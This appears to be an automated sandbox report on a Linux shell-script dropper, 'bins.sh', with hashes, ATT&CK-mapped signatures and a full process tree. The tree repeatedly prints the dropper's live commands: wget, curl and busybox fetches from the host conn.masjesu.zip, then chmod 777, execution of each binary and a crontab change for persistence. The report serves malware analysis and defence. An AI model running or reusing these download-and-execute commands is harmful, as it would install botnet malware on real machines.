dd275916fd545bb337c4158ddec51c83a5e3977e834a6904e8a9ca2dc07d95b9

Analysis

max time kernel
149s
max time network
147s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01/11/2024, 16:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241101-t2dlka1lez
SHA256 dd275916fd545bb337c4158ddec51c83a5e3977e834a6904e8a9ca2dc07d95b9
MD5 d2e43e4bb24f3d8e0b558d8ff45d9ad9
SHA1 bfe62faa50011e7679468ea29a1805bd53b6d732
SHA512 c4f9536a82fc92abfbaac935d07b45f58d87124a38f6234182e6cafbeb5618acff1b1faa809eb94a43020dbba6c914d7f8549cf7e7a8b38aaf0fe1dffb0f59f9
SSDEEP 192:cGIQfm6OJDbO2BLrSFZ+fVKyXLrSFZ8bnKyyIQfm6EDO:cTJDbO2b/xDO
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
687	chmod
724	chmod
735	chmod
753	chmod
797	chmod
789	chmod
879	chmod
916	chmod
867	chmod
819	chmod
861	chmod
896	chmod
809	chmod
845	chmod
934	chmod
744	chmod
771	chmod
854	chmod
836	chmod
907	chmod
887	chmod
706	chmod
712	chmod
718	chmod
761	chmod
780	chmod
873	chmod
926	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk	688	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
/tmp/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1	725	2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
/tmp/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk	888	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
/tmp/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1	927	2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1

Renames itself 1 IoCs

pid	Process
689	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.EPCgp5	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/23/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/741/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/785/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/794/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/860/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/876/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/914/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/739/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/767/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/774/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/803/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/841/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/864/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/867/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/41/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/875/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/931/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/10/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/307/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/743/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/925/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/952/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/954/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/19/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/825/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/827/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/869/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/884/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/964/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/924/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/21/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/103/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/175/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/659/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/694/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/697/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/761/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/942/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/967/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/857/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/965/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/6/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/958/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/11/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/813/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/895/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/859/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/648/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/749/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/754/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/759/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/818/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/823/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/832/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/222/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/708/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/709/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/815/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/909/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/932/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/667/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/780/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
File opened for reading	/proc/858/cmdline	9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
716	curl
878	busybox
842	curl
872	busybox
912	curl
914	busybox
826	wget
829	curl
730	curl
742	busybox
766	wget
784	wget
804	busybox
815	curl
703	curl
723	busybox
870	wget
933	busybox
883	curl
717	busybox
758	curl
892	curl
900	wget
921	curl
930	wget
792	wget
851	curl
871	curl
740	curl
775	wget
722	curl
778	busybox
796	busybox
803	curl
858	curl
709	wget
721	wget
710	curl
843	busybox
865	curl
882	wget
702	wget
704	busybox
864	wget
924	busybox
932	curl
794	curl
802	wget
866	busybox
920	wget
748	wget
832	busybox
817	busybox
839	wget
905	busybox
739	wget
787	busybox
890	wget
901	curl
732	busybox
860	busybox
760	busybox
767	curl
769	busybox

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1	busybox
File opened for modification	/tmp/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:659
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:662
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  PID:666
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:672
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  PID:685
- /bin/chmod
  chmod 777 9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  ./9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:688
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:691
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:692
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:694
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:695
- /bin/rm
  rm 9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  PID:698
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  - System Network Configuration Discovery
  PID:702
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  - System Network Configuration Discovery
  PID:703
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  - System Network Configuration Discovery
  PID:704
- /bin/chmod
  chmod 777 6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  ./6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  PID:707
- /bin/rm
  rm 6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  PID:708
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  - System Network Configuration Discovery
  PID:709
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  - System Network Configuration Discovery
  PID:710
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  PID:711
- /bin/chmod
  chmod 777 IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /tmp/IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  ./IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  PID:713
- /bin/rm
  rm IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  PID:714
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  - System Network Configuration Discovery
  PID:716
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  - System Network Configuration Discovery
  PID:717
- /bin/chmod
  chmod 777 jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  ./jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  PID:719
- /bin/rm
  rm jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  PID:720
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  - System Network Configuration Discovery
  PID:721
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  - System Network Configuration Discovery
  PID:722
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:723
- /bin/chmod
  chmod 777 2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  ./2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  - Executes dropped EXE
  PID:725
- /bin/rm
  rm 2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  PID:727
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  PID:728
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  - System Network Configuration Discovery
  PID:730
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  - System Network Configuration Discovery
  PID:732
- /bin/chmod
  chmod 777 FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  ./FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  PID:736
- /bin/rm
  rm FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  PID:737
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  - System Network Configuration Discovery
  PID:739
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  - System Network Configuration Discovery
  PID:742
- /bin/chmod
  chmod 777 rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  ./rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  PID:745
- /bin/rm
  rm rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  PID:746
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  - System Network Configuration Discovery
  PID:748
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  PID:749
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  PID:750
- /bin/chmod
  chmod 777 WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  ./WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  PID:754
- /bin/rm
  rm WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  PID:755
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  - System Network Configuration Discovery
  PID:758
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  - System Network Configuration Discovery
  PID:760
- /bin/chmod
  chmod 777 3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  ./3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  PID:763
- /bin/rm
  rm 3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  PID:764
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  - System Network Configuration Discovery
  PID:766
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  - System Network Configuration Discovery
  PID:767
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  - System Network Configuration Discovery
  PID:769
- /bin/chmod
  chmod 777 aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  ./aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  PID:772
- /bin/rm
  rm aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  PID:773
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  - System Network Configuration Discovery
  PID:775
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  PID:776
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  - System Network Configuration Discovery
  PID:778
- /bin/chmod
  chmod 777 dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  ./dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  PID:782
- /bin/rm
  rm dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  PID:783
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
  - System Network Configuration Discovery
  PID:784
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
  PID:785
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
  - System Network Configuration Discovery
  PID:787
- /bin/chmod
  chmod 777 eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  ./eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
  PID:790
- /bin/rm
  rm eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
  PID:791
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  - System Network Configuration Discovery
  PID:792
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  - System Network Configuration Discovery
  PID:794
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  - System Network Configuration Discovery
  PID:796
- /bin/chmod
  chmod 777 y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  ./y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  PID:799
- /bin/rm
  rm y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  PID:800
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  - System Network Configuration Discovery
  PID:802
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  - System Network Configuration Discovery
  PID:803
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  - System Network Configuration Discovery
  PID:804
- /bin/chmod
  chmod 777 dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  ./dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  PID:811
- /bin/rm
  rm dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  PID:812
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  - System Network Configuration Discovery
  PID:815
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  - System Network Configuration Discovery
  PID:817
- /bin/chmod
  chmod 777 rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  ./rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  PID:820
- /bin/rm
  rm rpAmclvu8vv9BMuor5rfoUX62pYfvJ0umW
  2⤵
  PID:821
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  - System Network Configuration Discovery
  PID:826
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  - System Network Configuration Discovery
  PID:829
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  - System Network Configuration Discovery
  PID:832
- /bin/chmod
  chmod 777 WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  ./WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  PID:837
- /bin/rm
  rm WmXG8PVfP83DyVuJ5WoMcenUnQrDKlM76B
  2⤵
  PID:838
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  - System Network Configuration Discovery
  PID:839
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  - System Network Configuration Discovery
  PID:842
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  - System Network Configuration Discovery
  PID:843
- /bin/chmod
  chmod 777 3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  ./3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  PID:847
- /bin/rm
  rm 3FOi3xT5vkgesriOFwjfONVHDyOsD6SSRM
  2⤵
  PID:848
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  - System Network Configuration Discovery
  PID:851
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  PID:853
- /bin/chmod
  chmod 777 aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  ./aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  PID:855
- /bin/rm
  rm aUqqiI9Qu0GnL2K2UGaLowqOMX6ntGdIg4
  2⤵
  PID:856
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  - System Network Configuration Discovery
  PID:858
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  - System Network Configuration Discovery
  PID:860
- /bin/chmod
  chmod 777 dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  ./dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  PID:862
- /bin/rm
  rm dQJy8DKNY8P8hPTgW0rAWXidt1dSW6paOn
  2⤵
  PID:863
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
  - System Network Configuration Discovery
  PID:864
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
  - System Network Configuration Discovery
  PID:865
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
  - System Network Configuration Discovery
  PID:866
- /bin/chmod
  chmod 777 eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
